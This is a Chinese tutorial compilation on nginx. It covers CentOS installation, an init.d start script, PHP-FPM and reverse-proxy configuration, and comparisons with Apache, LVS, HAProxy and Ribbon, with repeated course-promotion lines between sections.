-i:端口号杀死被占用端口kill 端口号 接着启动nginx: /usr/local/nginx/sbin/nginx 检查是否启动成功: 打开浏览器访问此机器的 IP,如果浏览器出现 Welcome to nginx! 则表示 Nginx 已经安装并运行成功。 centos安装nginx以及配置:https://www.sigusoft.com/p/9a6c96ecc8b8 为了方便可以进行配置以采用以下命令启动: service nginx reload 重新加载配置service nginx start 启动Nginx 如果nginx启动失败,就先强行杀死nginx进程: pkill nginx 但是每次要进行到相应的路径来启动Nginx太麻烦了,这里可以在etc/init.d目录下创建一个启动脚本,通过这个脚本来启动Nginx,这样启动Nginx会方便很多在etc/init.d目录下创建nginx脚本vim /etc/init.d/nginx #!/bin/sh## nginx - this script starts and stops the nginx daemin## chkconfig: - 85 15# description: Nginx is an HTTP(S) server, HTTP(S) reverse # proxy and IMAP/POP3 proxy server# processname: nginx# config: /usr/local/nginx/conf/nginx.conf# pidfile: /usr/local/nginx/logs/nginx.pid# Source function library.. /etc/rc.d/init.d/functions# Source networking configuration.. /etc/sysconfig/network# Check that networking is up.[ "$NETWORKING" = "no" ] && exit 0nginx="/usr/local/nginx/sbin/nginx"prog=$(basename $nginx)NGINX_CONF_FILE="/usr/local/nginx/conf/nginx.conf"lockfile=/var/lock/subsys/nginxstart() {[ -x $nginx ] || exit 5[ -f $NGINX_CONF_FILE ] || exit 6echo -n $"Starting $prog: "daemon $nginx -c $NGINX_CONF_FILEretval=$?echo[ $retval -eq 0 ] && touch $lockfilereturn $retval}stop() {echo -n $"Stopping $prog: "killproc $prog -QUITretval=$?echo[ $retval -eq 0 ] && rm -f $lockfilereturn $retval}restart() {configtest || return $?stopstart}reload() {configtest || return $?echo -n $"Reloading $prog: "killproc $nginx -HUPRETVAL=$?echo}force_reload() {restart}configtest() {$nginx -t -c $NGINX_CONF_FILE}rh_status() {status $prog}rh_status_q() {rh_status >/dev/null 2>&1}case "$1" instart)rh_status_q && exit 0$1;;stop)rh_status_q || exit 0$1;;restart|configtest)$1;;reload)rh_status_q || exit 7$1;;force-reload)force_reload;;status)rh_status;;condrestart|try-restart)rh_status_q || exit 0;;*)echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload|configtest}"exit 2esac 我们启动php-fpm,并设置php-fpm开机自启 service php-fpm startchkconfig php-fpm on nginx配置文件地址路径: vim /usr/local/nginx/conf/nginx.conf php-fpm配置 vim /etc/php-fpm.d/www.conf [...]listen = /var/run/php-fpm/php-fpm.sock[...]listen.owner = nobodylisten.group = nobody[...]user = nginxgroup = nginx[...] 编辑nginx配置文件:vim /etc/nginx/nginx.conf server { 28 listen 80; 29 server_name _; 30 root /usr/addressbook; 31 index index.php index.html index.htm; 32 33 location / { 41 try_files $uri $uri/ =404; 42 } 43 location ~ .php$ { 44 try_files $uri =404; 45 fastcgi_pass 127.0.0.1:9000; 46 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 47 fastcgi_index index.php; include fastcgi_params; 48 } 49 } 50 } 同时php-fpm配置文件也要更改: listen =/var/run/php-fpm/php-fpm.socklisten = 127.0.0.1:9000 重新加载: systemctl reload php-fpm 推荐学习:《PHP视频教程》 以上就是手把手教你如何在centos7下部署运行一个php项目(分享)的知识。速戳>>知识兔学习精品课! Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔·赛索耶夫为俄罗斯访问量第二的Rambler.ru站点(俄文:Рамблер)开发的,第一个公开版本0.1.0发布于2004年10月4日。 其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等。 那么linux怎么启动nginx? linux nginx启动操作: nginx -c /usr/local/nginx/conf/nginx.conf -c参数指定了要加载的nginx配置文件路径。 以上就是linux怎么启动nginx?的知识。速戳>>知识兔学习精品课! 反向代理:是用来代理服务器的,代理我们要访问的目标服务器。代理服务器接受请求,然后将请求转发给内部网络的服务器(集群化),并将从服务器上得到的结果返回给客户端,此时代理服务器对外就表现为一个服务器。 Nginx在反向代理上,提供灵活的功能,可以根据不同的正则采用不同的转发策略,设置好后不同的请求就可以走不同的服务器。 下面演示如何进行配置使Nginx发挥作用。 模拟n个http服务器作为目标主机 用作测试,简单的使用2个tomcat实例模拟两台http服务器,分别将tomcat的端口改为8081和8082 配置IP域名 192.168.72.49 .168.72.49 8082 配置nginx.conf upstream tomcatserver1 { server 192.168.72.49:8081; }upstream tomcatserver2 { server 192.168.72.49:8082; }server { listen 80; server_name 8081.max.com; #charset koi8-r; #access_log logs/host.access.log main; location / { proxy_pass http://tomcatserver1; index index.html index.htm; } }server { listen 80; server_name 8082.max.com; #charset koi8-r; #access_log logs/host.access.log main; location / { proxy_pass http://tomcatserver2; index index.html index.htm; } } 流程: 1)浏览器访问8081.max.com,通过本地host文件域名解析,找到192.168.72.49服务器(安装nginx) 2)nginx反向代理接受客户机请求,找到server_name为8081.max.com的server节点,根据proxy_pass对应的http路径,将请求转发到upstream tomcatserver1上,即端口号为8081的tomcat服务器。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx反向代理是什么的知识。速戳>>知识兔学习精品课! Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔·赛索耶夫为俄罗斯访问量第二的Rambler.ru站点(俄文:Рамблер)开发的,第一个公开版本0.1.0发布于2004年10月4日。 其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。 其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等。 Nginx 可以在大多数 UnixLinux OS 上编译运行,并有 Windows 移植版。 Nginx 的1.4.0稳定版已经于2013年4月24日发布,一般情况下,对于新建站点,建议使用最新稳定版作为生产版本,已有站点的升级急迫性不高。 Nginx 的源代码使用 。 Nginx 是一个很强大的高性能Web和反向代理服务,它具有很多非常优越的特性: 在连接高并发的情况下,Nginx是Apache服务不错的替代品: Nginx在美国是做虚拟主机生意的老板们经常选择的软件平台之一。能够支持高达 50,000 个并发连接数的响应,感谢Nginx为我们选择了 epoll and kqueue作为开发模型。 以上就是nginx是什么意思的知识。速戳>>知识兔学习精品课! Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔·赛索耶夫为俄罗斯访问量第二的Rambler.ru站点(俄文:Рамблер)开发的,第一个公开版本0.1.0发布于2004年10月4日。 其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。 优点 Nginx 可以在大多数 UnixLinux OS 上编译运行,并有 Windows 移植版。 Nginx 的1.4.0稳定版已经于2013年4月24日发布,一般情况下,对于新建站点,建议使用最新稳定版作为生产版本,已有站点的升级急迫性不高。Nginx 的源代码使用 2-clause BSD-like license。 服务器 Nginx作为负载均衡服务:Nginx 既可以在内部直接支持 Rails 和 PHP 程序对外进行服务,也可以支持作为 HTTP代理服务对外进行服务。Nginx采用C进行编写,不论是系统资源开销还是CPU使用效率都比 Perlbal 要好很多。 处理静态文件,索引文件以及自动索引;打开文件描述符缓冲。 无缓存的反向代理加速,简单的负载均衡和容错。 FastCGI,简单的负载均衡和容错。 模块化的结构。包括 gzipping, byte ranges, chunked responses,以及 SSI-filter 等 filter。如果由 FastCG或其它代理服务器处理单页中存在的多个 SSI,则这项处理可以并行运行,而不需要相互等待。 支持 SSL 和 TLSSNI。 代码 Nginx代码完全用C语言从头写成,已经移植到许多体系结构和操作系统,包括:Linux、FreeBSD、Solaris、Mac OS X、AIX以及Microsoft Windows。Nginx有自己的函数库,并且除了zlib、PCRE和OpenSSL之外,标准模块只使用系统C库函数。而且,如果不需要或者考虑到潜在的授权冲突,可以不使用这些第三方库。 代理服务器 作为邮件代理服务:Nginx 同时也是一个非常优秀的邮件代理服务(最早开发这个产品的目的之一也是作为邮件代理服务器),Last.fm 描述了成功并且美妙的使用经验。 Nginx 是一个安装非常的简单、配置文件非常简洁(还能够支持perl语法)、Bug非常少的服务。Nginx 启动特别容易,并且几乎可以做到7*24不间断运行,即使运行数个月也不需要重新启动。你还能够不间断服务的情况下进行软件版本的升级。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx是什么服务器的知识。速戳>>知识兔学习精品课! “高可用性”(High Availability)通常来描述一个系统经过专门的设计,从而减少停工时间,而保持其服务的高度可用性。Nginx于Keepalived可以实现高可用,实现双机热备+自动切换,这种操作在现在的集群系统中,比较的常见,还有,通过keepalived和redis实现热备份的,还有和mysql实现的,类似的案例挺多。 Keepalived是一个免费开源的,用C编写的类似于layer3, 4 & 7交换机制软件,具备我们平时说的第3层、第4层和第7层交换机的功能。主要提供loadbalancing(负载均衡)和 high-availability(高可用)功能,负载均衡实现需要依赖Linux的虚拟服务内核模块(ipvs),而高可用是通过VRRP协议实现多台机器之间的故障转移服务。 上图是Keepalived的功能体系结构,大致分两层:用户空间(user space)和内核空间(kernel space)。 内核空间:主要包括IPVS(IP虚拟服务器,用于实现网络服务的负载均衡)和NETLINK(提供高级路由及其他相关的网络功能)两个部份。 用户空间: WatchDog:负载监控checkers和VRRP进程的状况 VRRP Stack:负载负载均衡器之间的失败切换FailOver,如果只用一个负载均稀器,则VRRP不是必须的。 Checkers:负责真实服务器的健康检查healthchecking,是keepalived最主要的功能。换言之,可以没有VRRP Stack,但健康检查healthchecking是一定要有的。 IPVS wrapper:用户发送设定的规则到内核ipvs代码 Netlink Reflector:用来设定vrrp的vip地址等。 Keepalived的所有功能是配置keepalived.conf文件来实现的。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx高可用是什么意思的知识。速戳>>知识兔学习精品课! nginx处理http的请求是nginx最重要的职能,也是最复杂的一部分。可以大概说下执行流程: 请求头读取; 解析请求行; 解析请求头; 读取请求体; 开始最重要的部分,即多阶段处理; nginx把请求处理划分成了11个阶段,也就是说当nginx读取了请求行和请求头之后,将请求封装了结构体ngx_http_request_t,然后每个阶段的handler都会根据这个ngx_http_request_t,对请求进行处理,例如重写uri,权限控制,路径查找,生成内容以及记录日志等等; 将结果返回给客户端; ngx_http_process_request_line函数的主要作用即是解析请求行,同样由于涉及到网络IO操作,即使是很短的一行请求行可能也不能被一次读完,所以在之前的ngx_http_init_request函数中,ngx_http_process_request_line函数被设置为读事件的处理函数,它也只拥有一个唯一的ngx_event_t *类型参数,并且在函数的开头,同样需要判断是否是超时事件,如果是的话,则关闭这个请求和连接;否则开始正常的解析流程。先调用ngx_http_read_request_header函数读取数据。 多阶段处理是nginx模块最重要的部分,因为第三方模块也是注册在这; 例如有人写了一个利用nginx和memcache做页面缓存的第三方模块,也可以把memcache换成redis集群等等; 而且nginx多阶段处理有点类似python和golang web框架的中间件,后者主要是用装饰器模式,对handler一层一层封装,而nginx是用数组(链表)形式组合多阶段handler,然后按handler链表执行即可; 客户端发送过的统一资源定位符(url)对应服务器上某一路径上的资源,web服务器需要做的仅仅是将url映射到本地文件系统的路径,然后读取相应文件并返回给客户端。但这仅仅是最初的互联网的需求,而如今互联网出现了各种各样复杂的需求,要求web服务器能够处理诸如安全及权限控制,多媒体内容和动态网页等等问题。这些复杂的需求导致web服务器不再是一个短小的程序,而变成了一个必须经过仔细设计,模块化的系统。 nginx良好的模块化特性体现在其对请求处理流程的多阶段划分当中,多阶段处理流程就好像一条流水线,一个nginx进程可以并发的处理处于不同阶段的多个请求。nginx允许开发者在处理流程的任意阶段注册模块,在启动阶段,nginx会把各个阶段注册的所有模块处理函数按序的组织成一条执行链。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx如何处理http请求的知识。速戳>>知识兔学习精品课! Nginx特点 轻量级,采用 C 进行编写,同样的 web 服务,会占用更少的内存及资源 抗并发,nginx 以 epoll and kqueue 作为开发模型,处理请求是异步非阻塞的,负载能力比 apache 高很多,而 apache 则是阻塞型的。在高并发下 nginx 能保持低资源低消耗高性能 ,而 apache 在 PHP 处理慢或者前端压力很大的情况下,很容易出现进程数飙升,从而拒绝服务的现象。 nginx 处理静态文件好,静态处理性能比 apache 高三倍以上 nginx 的设计高度模块化,编写模块相对简单 nginx 配置简洁,正则配置让很多事情变得简单,而且改完配置能使用 -t 测试配置有没有问题,apache 配置复杂 ,重启的时候发现配置出错了,会很崩溃 nginx 作为负载均衡服务器,支持 7 层负载均衡 nginx 本身就是一个反向代理服务器,而且可以作为非常优秀的邮件代理服务器 启动特别容易, 并且几乎可以做到 7*24 不间断运行,即使运行数个月也不需要重新启动,还能够不间断服务的情况下进行软件版本的升级 社区活跃,各种高性能模块出品迅速 Apache特点 pache 的 rewrite 比 nginx 强大,在 rewrite 频繁的情况下,用 apache apache 发展到现在,模块超多,基本想到的都可以找到 apache 更为成熟,少 bug ,nginx 的 bug 相对较多 apache 超稳定 apache 对 PHP 支持比较简单,nginx 需要配合其他后端用 apache 在处理动态请求有优势,nginx 在这方面是鸡肋,一般动态请求要 apache 去做,nginx 适合静态和反向。 apache 仍然是目前的主流,拥有丰富的特性,成熟的技术和开发社区 总结 两者最核心的区别在于apache是同步多进程模型,一个连接对应一个进程,而nginx是异步的,多个连接(万级别)可以对应一个进程 一般来说,需要性能的web服务,用nginx 。如果不需要性能只求稳定,更考虑apache,后者的各种功能模块实现得比前者,例如 ssl 的模块就比前者好,可配置项多。epoll(freebsd 上是 kqueue ) 网络 IO 模型是 nginx 处理性能高的根本理由,但并不是所有的情况下都是 epoll 大获全胜的,如果本身提供静态服务的就只有寥寥几个文件,apache 的 select 模型或许比 epoll 更高性能。当然,这只是根据网络 IO 模型的原理作的一个假设,真正的应用还是需要实测了再说的。 更为通用的方案是,前端 nginx 抗并发,后端 apache 集群,配合起来会更好。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx和apache的区别的知识。速戳>>知识兔学习精品课! 正向代理是一个位于客户端和目标服务器之间的代理服务器(中间服务器)。为了从原始服务器取得内容,客户端向代理服务器发送一个请求,并且指定目标服务器,之后代理向目标服务器转交并且将获得的内容返回给客户端。正向代理的情况下客户端必须要进行一些特别的设置才能使用。 反向代理正好相反。对于客户端来说,反向代理就好像目标服务器。并且客户端不需要进行任何设置。客户端向反向代理发送请求,接着反向代理判断请求走向何处,并将请求转交给客户端,使得这些内容就好似他自己一样,一次客户端并不会感知到反向代理后面的服务,也因此不需要客户端做任何设置,只需要把反向代理服务器当成真正的服务器就好了。 区别 正向代理需要你主动设置代理服务器ip或者域名进行访问,由设置的服务器ip或者域名去获取访问内容并返回;而反向代理不需要你做任何设置,直接访问服务器真实ip或者域名,但是服务器内部会自动根据访问内容进行跳转及内容返回,你不知道它最终访问的是哪些机器。 正向代理是代理客户端,为客户端收发请求,使真实客户端对服务器不可见;而反向代理是代理服务器端,为服务器收发请求,使真实服务器对客户端不可见。 从上面的描述也能看得出来正向代理和反向代理最关键的两点区别: 是否指定目标服务器 客户端是否要做设置 正向代理与反向代理 正向代理中,proxy和client同属一个LAN,对server透明; 反向代理中,proxy和server同属一个LAN,对client透明。 实际上proxy在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。 从用途上来区分: 正向代理:正向代理用途是为了在防火墙内的局域网提供访问internet的途径。另外还可以使用缓冲特性减少网络使用率反向代理:反向代理的用途是将防火墙后面的服务器提供给internet用户访问。同时还可以完成诸如负载均衡等功能 从安全性来讲: 正向代理:正向代理允许客户端通过它访问任意网站并且隐蔽客户端自身,因此你必须采取安全措施来确保仅为经过授权的客户端提供服务反向代理:对外是透明的,访问者并不知道自己访问的是代理。对访问者而言,他以为访问的就是原始服务器 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx正向代理和反向代理区别的知识。速戳>>知识兔学习精品课! lvs和nginx都可以用作多机负载方案,他们各有优缺点,在生产环境中需要好好分析实际情况并加以利用。 lvs的优势: 1.抗负载能力强,因为lvs工作方式的逻辑是非常简单的,而且工作在网络层第4层,仅作请求分发用,没有流量,所以在效率上基本不需要太过考虑。lvs一般很少出现故障,即使出现故障一般也是其他地方(如内存、CPU等)出现问题导致lvs出现问题。 2.配置性地,这通常是一大劣势同时也是一大优势,因为没有太多的可配置的选项,所以除了增减服务器,并不需要经常去触碰它,大大减少了人为出错的几率。 3.工作稳定,因为其本省抗负载能力很强,所以稳定性高也是顺理成章的事,另外各种lvs都有完整的双机热备方案,所以一点不用担心均衡器本身会出什么问题,节点出现故障的话,lvs会自动判别,所以系统整体式非常稳定的。 4.无流量,lvs仅仅分发请求,而流量并不从它本身出去,所以可以利用它这点来做一些线路分流之用。没有流量同时也保住了均衡器的IO性能不会受到大流量的影响。 5.lvs基本上能支持所有应用,因为绿色工作在第4层,所以它可以对几乎所有应用做负载均衡,包括http、数据库、聊天室等。 另外:lvs也不是完全能判别节点故障的,比如在wlc分配方式下,集群里有一个节点没有配置vip,会使整个集群不能使用,这时使用wrr分配方式则会丢掉一台机器。目前这个问题还在进一步测试中。所以用lvs也得多多当心为妙。 nginx和lvs作对比的结果: 1.nginx工作在网络的第7层,所以它可以针对http应用本身来做分流策略,比如针对域名、目录结构等,相比之下lvs并不具备这样的功能,所以nginx单凭这点可以利用的场合就远多于lvs了;但nginx有用的这些功能使其可调整度要高于lvs,所以经常要去触碰触碰,由lvs的第2条优点来看,触碰多了,人为出现问题的几率也就会大。 2.nginx对网络的依赖较小,理论上只要ping得通,网页访问正常,nginx就能连得通,nginx同时还能区分内外网,如果是同时拥有内外网的节点,就相当于单机拥有了备份线路;lvs就比较依赖于网络环境,目前来看服务器在同一网段内并且lvs使用direct方式分流,效果较能得到保证。另外注意,lvs需要向托管商至少申请多于一个ip来做visual ip,貌似是不能用本省的ip来做VIP的。要做好lvs管理员,确实得跟进学习很多有关网络通信方面的知识,就不再是一个http那么简单了。 3.nginx安装和配置比较简单,测试起来也很方便,因为它基本能把错误用日志打印出来。lvs的安装和配置、测试就要花比较长的时间,因为同上所述,lvs对网络依赖性比较大,很多时候不能配置成功都是因为网络问题而不是配置问题,出了问题要解决也相应的会麻烦的多。 4.nginx也同样能承受很高负载且稳定,但负载度很稳定度差lvs还有几个等级:nginx处理所有流量所以受限于机器IO和配置;本身的bug也还是难以避免的;nginx没有现成的双机热备方案,所以跑在单机上还是风险比较大,单机上的事情全都很难说。 5.nginx可以检测到服务器内部的故障,比如根据服务器处理网页返回的状态码、超时等等,并且会把返回错误的请求重新提交到另一个节点。目前lvs中ldirectd也能支持针对服务器内部的情况来监控,但lvs的原理使其不能重发请求。重发请求这点,比如用户正在上传一个文件,而处理该上传的节点刚好在上传过程中出现故障,nginx会把上传切到另一台服务器重新处理,而lvs就直接断掉了,如果是上传一个很大的文件或者很重要的文件的话,用户可能会因此而恼火。 6.nginx对请求的异步处理可以帮助节点服务器减轻负载,键入使用Apache直接对外服务,那么出现很多的窄带链接时Apache服务器将会占用大量内存而不能释放,使用多于一个nginx做Apache代理的话,这些窄带链接会被nginx挡住,Apache上就不会堆积过多的请求,这样就减少了相当多的内存占用。这点使用squid也有相同的作用,即使squid本身配置为不缓存,对Apache还是有很大帮助你的。lvs没有这些功能,也就无法能比较。 nginx也可以作为中层代理使用,这一层面nginx基本上无对手,唯一可以撼动nginx的就只有lighttpd了,不过lighttpd目前还没有能做到nginx完全的功能,配置也不那么清晰易读。另外,中层代理的ip也是重要的,所以中层代理业拥有一个VIP和lvs是最完美的方案了。 具体的应用还得具体分析,如果是比较小的网站(日pv<1000万),用nginx就完全可以了,如果机器也不少,可以用dns轮询,lvs所耗费的机器还是比较多的;大型网站或者重要的服务,机器不发愁的时候要多多考虑利用lvs。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx和lvs区别的知识。速戳>>知识兔学习精品课! 对于做软负载,我们都知道主流的方案有LVS、Haproxy、Nginx!那么对于Haproxy和Nginx,我们如何选择呢?回答这个问题之前,我根据个人使用经验来讲下它们的特点! Haproxy特点 支持TCP与Http协议,工作在网络4层和7层 支持Session共享、Cookies引导 支持通过URL健康检测 支持8种负载均衡策略 支持心跳检测 Nginx特点 支持Http协议,工作在网络7层 支持通过端口健康检测 支持强大的正则匹配规则 支持WebSocket协议 支持Http Cache 说明: 对于Http协议,Haproxy处理效率比Nginx高。所以,没有特殊要求的时候或者一般场景,建议使用Haproxy来做Http协议负载!但如果是Web,那么建议使用Nginx!总之,大家可以结合各自使用场景的特点来进行合理地选择! 上次有人问我:Nginx或Haproxy的连接数能否突破“”这个“魔咒”?其实大家有这样的疑问,是因为对Nginx或Haproxy工作原理不了解导致的! 下面以Linux服务器为例,讲解下二者理论上最大连接数: Linux上Nginx理论上最大连接数 正向代理:最大连接数 = work_processes * worker_connections 反向代理:最大连接数 = work_processes * worker_connections / 4 备注:worker_connections指单个进程能够处理的最大连接数,假设你的服务器是8核,worker_connections = (可以自定义的,但最大不能超过最大文件描述符数,因为1个连接相当于使用了1个文件描述符) 在上述2种情况下最大连接数(理论值)分别是: 8 * 和 8 * /4 Linux上Haproxy理论上最大连接数 最大连接数 = maxconn( global | defaults | listen ) 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx和haproxy的区别的知识。速戳>>知识兔学习精品课! 服务器端负载均衡 Nginx nginx 是客户端所有请求统一交给 nginx,由 nginx 进行实现负载均衡请求转发,属于服务器端负载均衡。 既请求由 nginx 服务器端进行转发。 客户端负载均衡 Ribbon Ribbon 是从 eureka 注册中心服务器端上获取服务注册信息列表,缓存到本地,然后在本地实现轮询负载均衡策略。 既在客户端实现负载均衡。 应用场景的区别: Nginx适合于服务器端实现负载均衡比如 Tomcat ,Ribbon适合与在微服务中RPC远程调用实现本地服务负载均衡,比如 Dubbo、SpringCloud 中都是采用本地负载均衡。 spring cloud的Netflix中提供了两个组件实现软负载均衡调用:ribbon和feign。 Ribbon 是一个基于 HTTP 和 TCP 客户端的负载均衡器 它可以在客户端配置 ribbonServerList(服务端列表),然后轮询请求以实现均衡负载。 springcloud的ribbon和nginx有什么区别?哪个性能好? nginx性能好,但ribbon可以剔除不健康节点,nginx剔除节点比较复杂。ribbon还可以配合熔断器一起工作 ribbon是客户端负载均衡,nginx是服务端负载均衡。客户端负载均衡,所有客户端节点都维护自己要访问的服务端清单。服务端负载均衡的软件模块会维护一个可用的服务清单 ribbon 是一个客户端负载均衡器,可以简单的理解成类似于 nginx的负载均衡模块的功能。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是ribbon和nginx的区别的知识。速戳>>知识兔学习精品课! 简单来讲,就是异步,非阻塞,使用了epoll和大量的底层代码优化。 稍微详细一点展开的话,就是nginx的特殊进程模型和事件模型的设计。 进程模型 nginx采用一个master进程,多个woker进程的模式。 master进程主要负责收集、分发请求。当一个请求过来时,master拉起一个worker进程负责处理这个请求。 master进程也要负责监控woker的状态,保证高可靠性 woker进程一般设置为跟cpu核心数一致。nginx的woker进程跟apache不一样。apche的进程在同一时间只能处理一个请求,所以它会开很多个进程,几百甚至几千个。而nginx的woker进程在同一时间可以处理额请求数只受内存限制,因此可以处理多个请求。 事件模型 nginx是异步非阻塞的。 每进来一个request,会有一个worker进程去处理。但不是全程的处理,处理到什么程度呢?处理到可能发生阻塞的地方,比如向上游(后端)服务器转发request,并等待请求返回。那么,这个处理的worker不会这么傻等着,他会在发送完请求后,注册一个事件:“如果upstream返回了,告诉我一声,我再接着干”。于是他就休息去了。此时,如果再有request 进来,他就可以很快再按这种方式处理。而一旦上游服务器返回了,就会触发这个事件,worker才会来接手,这个request才会接着往下走。 web server的工作性质决定了每个request的大部份生命都是在网络传输中,实际上花费在server机器上的时间片不多。这是几个进程就解决高并发的秘密所在。 IO多路复用模型epoll epoll() ,内核维护一个链表,epoll_wait 直接检查链表是不是空就知道是否有文件描述符准备好了。内核实现epoll 是根据每个 sockfd 上面的与设备驱动程序建立起来的 回调函数 实现的。那么,某个 sockfd 上的事件发生时,与它对应的回调函数就会被调用,来把这个 sockfd 加入链表,其他处于“空闲的”状态的则不会。 select() ,内核采用 轮训 的方法来查看是否有fd 准备好,其中的保存 sockfd 的是类似数组的数据结构 fd_set,key 为 fd,value 为 0 或者 1。 poll() 【总结】:epoll 与 select 相比最大的优点是不会随着 sockfd 数目增长而降低效率。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx如何实现高并发的知识。速戳>>知识兔学习精品课! 最近有打算研读nginx源代码,看到网上介绍nginx可以作为一个反向代理服务器完成负载均衡。所以搜罗了一些关于反向代理服务器的内容,整理综合。 反向代理(Reverse Proxy)方式是指以代理服务器来接受Internet上的连接请求,然后将请求转发给内部网络上的服务器;并将从服务器上得到的结果返回给Internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。 通常的代理服务器,只用于代理内部网络对Internet的连接请求,客户机必须指定代理服务器,并将本来要直接发送到Web服务器上的http请求发送到代理服务器中。当一个代理服务器能够代理外部网络上的主机,访问内部网络时,这种代理服务的方式称为反向代理服务。 实现反向代理服务器通常有两种模型,它可以作为内容服务器的替身,也可以作为内容服务器集群的负载均衡器。 作内容服务器的替身 如果您的内容服务器具有必须保持安全的敏感信息,如信用卡号数据库,可在防火墙外部设置一个代理服务器作为内容服务器的替身。当外部客户机尝试访问内容服务器时,会将其送到代理服务器。实际内容位于内容服务器上,在防火墙内部受到安全保护。代理服务器位于防火墙外部,在客户机看来就像是内容服务器。 当客户机向站点提出请求时,请求将转到代理服务器。然后,代理服务器通过防火墙中的特定通路,将客户机的请求发送到内容服务器。内容服务器再通过该通道将结果回传给代理服务器。代理服务器将检索到的信息发送给客户机,好像代理服务器就是实际的内容服务器。如果内容服务器返回错误消息,代理服务器会先行截取该消息并更改标头中列出的任何 URL,然后再将消息发送给客户机。如此可防止外部客户机获取内部内容服务器的重定向URL。 这样,代理服务器就在安全数据库和可能的恶意攻击之间提供了又一道屏障。与有权访问整个数据库的情况相对比,就算是侥幸攻击成功,作恶者充其量也仅限于访问单个事务中所涉及的信息。未经授权的用户无法访问到真正的内容服务器,因为防火墙通路只允许代理服务器有权进行访问。 作为内容服务器的负载均衡器 可以在一个组织内使用多个代理服务器来平衡各 Web 服务器间的网络负载。在此模型中,可以利用代理服务器的高速缓存特性,创建一个用于负载平衡的服务器池。此时,代理服务器可以位于防火墙的任意一侧。如果 Web 服务器每天都会接收大量的请求,则可以使用代理服务器分担 Web 服务器的负载并提高网络访问效率。 对于客户机发往真正服务器的请求,代理服务器起着中间调停者的作用。代理服务器会将所请求的文档存入高速缓存。如果有不止一个代理服务器,DNS 可以采用“循环复用法”选择其 IP 地址,随机地为请求选择路由。客户机每次都使用同一个 URL,但请求所采取的路由每次都可能经过不同的代理服务器。 可以使用多个代理服务器来处理对一个高用量内容服务器的请求,这样做的好处是内容服务器可以处理更高的负载,并且比其独自工作时更有效率。在初始启动期间,代理服务器首次从内容服务器检索文档,此后,对内容服务器的请求数会大大下降。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx怎么实现反向代理的知识。速戳>>知识兔学习精品课! Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。在连接高并发的情况下,Nginx是Apache服务不错的替代品。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等。 Nginx 可以在大多数 UnixLinux OS 上编译运行,并有 Windows 移植版。 Nginx 的1.4.0稳定版已经于2013年4月24日发布,一般情况下,对于新建站点,建议使用最新稳定版作为生产版本,已有站点的升级急迫性不高。Nginx 的源代码使用 2-clause BSD-like license。 更多nginx相关技术知识,请访问nginx使用入门教程栏目学习! 以上就是nginx是什么的知识。速戳>>知识兔学习精品课! 负载均衡 nginx扮演了反向代理服务器的角色,它是以依据什么样的规则进行请求分发的呢?他有什么负载均衡调度算法? 这里提到的客户端发送的、nginx反向代理服务器接收到的请求数量,就是我们说的负载量 请求数量按照一定的规则进行分发到不同的服务器处理的规则,就是一种均衡规则 所以~将服务器接收到的请求按照规则分发的过程,称为负载均衡。 负载均衡在实际项目操作过程中,有硬件负载均衡和软件负载均衡两种,硬件负载均衡也称为硬负载,如F5负载均衡,相对造价昂贵成本较高,但是数据的稳定性安全性等等有非常好的保障,如中国移动中国联通这样的公司才会选择硬负载进行操作;更多的公司考虑到成本原因,会选择使用软件负载均衡,软件负载均衡是利用现有的技术结合主机硬件实现的一种消息队列分发机制 Nginx支持的负载均衡调度算法方式如下:(重点) weight轮询(默认): 接收到的请求按照顺序逐一分配到不同的后端服务器,即使在使用过程中,某一台后端服务器宕机,Nginx会自动将该服务器剔除出队列,请求受理情况不会受到任何影响。 这种方式下,可以给不同的后端服务器设置一个权重值(weight),用于调整不同的服务器上请求的分配率;权重数据越大,被分配到请求的几率越大;该权重值,主要是针对实际工作环境中不同的后端服务器硬件配置进行调整的。 ip_hash: 